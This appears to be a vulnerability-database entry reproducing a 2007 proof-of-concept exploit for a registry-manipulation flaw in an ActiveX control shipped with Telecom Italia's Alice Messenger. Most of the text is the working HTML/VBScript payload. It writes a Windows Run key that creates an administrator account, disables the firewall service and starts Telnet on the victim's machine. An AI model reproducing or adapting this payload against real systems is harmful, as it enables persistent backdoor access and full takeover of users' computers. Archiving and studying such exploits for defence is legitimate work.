Telecom Italy Alice Messenger Remote registry key manipulation Exploit

🗓️ 05 Sep 2007 00:00:00Reported by RootType

Telecom Italy Alice Messenger Remote registry key manipulation Exploi


                                                &lt;!--
04.50&nbsp;20/08/2007
Telecom&nbsp;Italy&nbsp;Alice&nbsp;Messenger&nbsp;Hp.Revolution.RegistryManager.dll&nbsp;(v.1)
remote&nbsp;arbitrary&nbsp;registry&nbsp;key&nbsp;manipulation

I&nbsp;mean&nbsp;this&nbsp;one:
http://aiuto.alice.it/offerte/messenger/installazione.html

this&nbsp;was&nbsp;0day&nbsp;for&nbsp;a&nbsp;while,&nbsp;but&nbsp;...&nbsp;who&nbsp;knows?
the&nbsp;new&nbsp;version&nbsp;suggests&nbsp;to&nbsp;remove&nbsp;this&nbsp;dll,&nbsp;you&nbsp;know&nbsp;telecom&nbsp;guy,&nbsp;because&nbsp;it&nbsp;sucks...

Object&nbsp;Safety&nbsp;report:

RegKey&nbsp;Safe&nbsp;for&nbsp;Script:&nbsp;False
RegKey&nbsp;Safe&nbsp;for&nbsp;Init:&nbsp;False
Implements&nbsp;IObjectSafety:&nbsp;True
IDisp&nbsp;Safe:&nbsp;&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,data

rgod.
http://retrogod.altervista.org
--&gt;
&lt;html&gt;
&lt;object&nbsp;classid='clsid:19092490-676B-4C06-A158-34F1CD2DE517'&nbsp;id='HPRevolutionRegistryManager'&nbsp;/&gt;&lt;/OBJECT&gt;
&lt;script&nbsp;language='vbscript'&gt;
group=&quot;HKEY_LOCAL_MACHINE&quot;
section=&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Run\&quot;
key=&quot;sun-tzu&quot;
valType=1&nbsp;'REG_SZ
value=&quot;&quot;&quot;c:\windows\system32\cmd.exe&quot;&quot;&nbsp;/c&nbsp;net&nbsp;user&nbsp;sun&nbsp;tzu&nbsp;/add&nbsp;&amp;&nbsp;net&nbsp;localgroup&nbsp;Administrators&nbsp;sun&nbsp;/add&nbsp;&amp;&nbsp;sc&nbsp;config&nbsp;SharedAccess&nbsp;start=&nbsp;disabled&nbsp;&amp;&nbsp;net&nbsp;stop&nbsp;SharedAccess&nbsp;&amp;&nbsp;sc&nbsp;config&nbsp;TlntSvr&nbsp;start=&nbsp;auto&nbsp;&amp;&nbsp;net&nbsp;start&nbsp;TlntSvr&nbsp;&amp;&nbsp;echo&nbsp;whatthefuck(!)&nbsp;&amp;&nbsp;pause&quot;&nbsp;'you&nbsp;meretrix...
HPRevolutionRegistryManager.WriteRegistry&nbsp;group&nbsp;,section&nbsp;,key&nbsp;,valType&nbsp;,value&nbsp;'die&nbsp;of&nbsp;miserable&nbsp;death&nbsp;mommy
&lt;/script&gt;
&lt;/html&gt;

05 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1